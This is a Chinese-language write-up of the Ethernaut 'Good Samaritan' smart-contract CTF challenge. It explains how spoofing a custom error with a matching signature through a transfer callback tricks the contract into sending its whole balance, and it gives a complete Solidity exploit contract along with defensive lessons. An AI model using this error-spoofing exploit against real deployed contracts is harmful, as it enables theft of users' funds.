Skip to content
On this page

智取好撒玛利亚人:一次精彩的智能合约夺宝之旅

在区块链的世界里,智能合约的安全性是永恒的挑战。一个微小的逻辑漏洞,就可能导致巨额资产的损失。今天,我们将深入探讨 Ethernaut 平台上的一个经典 CTF 题目——"Good Samaritan" (好撒玛利亚人),看看我们如何巧妙地从一位慷慨的“好撒玛利亚人”手中,“合法”地清空他的百万金币钱包。

挑战背景:慷慨的撒玛利亚人与百万财富

故事的主角是一位富有的“好撒玛利亚人”。他乐善好施,设立了一个智能合约系统,承诺向任何请求捐赠的人捐赠金币。我们的任务非常明确:从这个“好撒玛利亚人”的钱包中,榨干所有的余额!

这个挑战的提示是“Solidity Custom Errors”(Solidity 自定义错误),这暗示了漏洞可能隐藏在错误处理机制中。

深入分析:撒玛利亚人的合约王国

为了成功“夺宝”,我们首先需要了解“好撒玛利亚人”的合约体系:

  1. GoodSamaritan 合约: 这是核心调度合约。它拥有一个 requestDonation() 函数,任何外部用户都可以调用它来请求捐赠。

    • 它的关键在于使用了 try/catch 结构:它会尝试调用 wallet.donate10(msg.sender) 捐赠 10 个金币。
    • 重点来了! 如果 donate10 调用失败,并且捕获到的错误是 Wallet 合约的 NotEnoughBalance() 错误(通过 keccak256 签名进行匹配),它就会执行一个备用方案:调用 wallet.transferRemainder(msg.sender),将钱包中所有剩余的金币都转给请求者!
  2. Wallet 合约: 这个合约代表了“好撒玛利亚人”的钱包。

    • 它由 GoodSamaritan 合约部署并拥有(owner)。
    • 它有两个核心捐赠函数:donate10(address dest_)(捐赠 10 个金币)和 transferRemainder(address dest_)(转移所有剩余金币)。这两个函数都带有 onlyOwner 修饰符,意味着只有 GoodSamaritan 合约才能调用它们。
    • 它定义了一个自定义错误:error NotEnoughBalance();
  3. Coin 合约: 这是一种简单的代币合约,管理着金币的余额。

    • 在部署时,Wallet 合约被初始化拥有 1,000,000 (10^6) 个金币。
    • 它的 transfer(address dest_, uint256 amount_) 函数是转账的核心。
    • 另一个关键点! 如果 transfer 的目标地址 dest_ 是一个合约,它会额外调用目标合约的 notify(uint256 amount) 函数(通过 INotifyable 接口)。

漏洞揭示:同名错误的陷阱

现在,我们看到了整个系统的运作方式。表面上,GoodSamaritan 慷慨且安全,它的 try/catch 逻辑似乎是为了确保即使金币不足,也能把零头捐出去。但,这正是它的致命弱点。

问题出在 GoodSamaritan 合约的 catch 块对错误的判断: if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err))

这个判断是基于错误签名的哈希值。这意味着,只要我们能触发一个拥有相同签名 NotEnoughBalance() 的自定义错误,即使它不是由 Wallet 合约本身抛出的,GoodSamaritan 也会错误地认为它是 WalletNotEnoughBalance() 错误,从而执行 transferRemainder

那么,如何触发一个这样的错误,并让它在正确的时间点发生呢?

答案就在 Coin 合约的 transfer 函数中的回调机制:INotifyable(dest_).notify(amount_)

攻击策略:借刀杀人,一石二鸟

我们的攻击将分为以下几步:

  1. 部署攻击合约 (Hack.sol): 我们的攻击合约将实现 INotifyable 接口,以便接收 Coin 合约的 notify 回调。
  2. 请求捐赠: 我们从 Hack 合约调用 GoodSamaritan.requestDonation()。此时,msg.sender 就是我们的 Hack 合约。
  3. 触发捐赠流程:
    • GoodSamaritan.requestDonation() 尝试调用 wallet.donate10(address(this)) (即 wallet.donate10(Hack))。
    • wallet.donate10() 内部会调用 coin.transfer(Hack, 10)
  4. 回调与恶意回滚:
    • coin.transfer(Hack, 10) 在将 10 个金币转给 Hack 合约后,会检测到 Hack 是一个合约,并调用 Hack.notify(10)
    • 这正是我们插入攻击逻辑的地方!Hack.notify() 函数中,我们故意让它 revert。我们可以在这里检查 Wallet 是否还有余额,只要有,就立即 revert
    • 关键点: Hack 合约也定义了 error NotEnoughBalance();。因此,当 Hack.notify() 抛出这个错误时,它的签名与 Wallet.NotEnoughBalance() 的签名是完全相同的!
  5. 欺骗 GoodSamaritan
    • Hack.notify()revert 会导致 coin.transfer() 回滚,进而导致 wallet.donate10() 回滚。
    • GoodSamaritan.requestDonation()try/catch 块会捕获到这个错误。
    • 由于 Hack.NotEnoughBalance() 的签名与 Wallet.NotEnoughBalance() 相同,GoodSamaritan 会误认为这是 Wallet 合约抛出的 NotEnoughBalance 错误。
    • 于是,GoodSamaritan 会进入 catch 块的 if 语句,并执行 wallet.transferRemainder(msg.sender)。由于 msg.sender 是我们的 Hack 合约,Wallet 中所有剩余的 999,990 枚金币都将被转移到我们的 Hack 合约!

攻击代码 (Hack.sol)

solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "./GoodSamaritan.sol"; // 引入目标合约

contract Hack is INotifyable {
    // 定义一个与 Wallet 合约同名的自定义错误,这是攻击的关键!
    error NotEnoughBalance(); 
    
    GoodSamaritan private immutable target; // 存储目标 GoodSamaritan 合约地址

    constructor(address _target) {
        target = GoodSamaritan(_target);
    }

    // 执行攻击的主函数
    function doHack() external {
        // 调用目标 GoodSamaritan 的 requestDonation 函数
        // 我们期望它返回 false (意味着进入了 catch 块并成功清空钱包)
        bool r = target.requestDonation(); 
        require(!r, "Hack fail!"); // 如果返回 true,说明攻击失败
    }

    // 当 Coin 合约向 Hack 合约转账时,会回调此函数
    function notify(uint256 amount) external {
        amount; // 忽略转账金额
        // 获取 Wallet 合约当前余额
        uint256 balance = target.coin().balances(address(target.wallet()));
        // 如果 Wallet 还有余额,就抛出我们自定义的 NotEnoughBalance 错误
        // 这个错误会欺骗 GoodSamaritan 合约,使其执行 transferRemainder
        if (balance > 0) { 
            revert NotEnoughBalance(); 
        }
    }
}

总结与启示

“好撒玛利亚人”挑战是一个经典的例子,它提醒我们智能合约开发中以下几点:

  1. 自定义错误的陷阱: 仅仅依靠错误签名 (keccak256(abi.encodeWithSignature(...))) 来区分错误来源是非常危险的,尤其是在存在外部调用和回调的情况下。攻击者可以轻易地创建同名错误来绕过或滥用逻辑。
  2. 外部调用的风险: 合约在进行外部调用(如 coin.transfer 回调 notify)时,需要极其谨慎。这些外部调用可能会引入重入、DOS 攻击或像本例这样的逻辑错误。
  3. 全面的错误处理: try/catch 块的使用应该更加严谨。如果需要区分不同来源的错误,应考虑更可靠的机制,例如通过返回值、事件或在捕获后进行更深入的上下文校验。

通过这个挑战,我们不仅成功“夺宝”,更深入理解了 Solidity 错误处理机制的微妙之处及其潜在的安全风险。在智能合约的世界里,细节决定成败。


Built with AiAda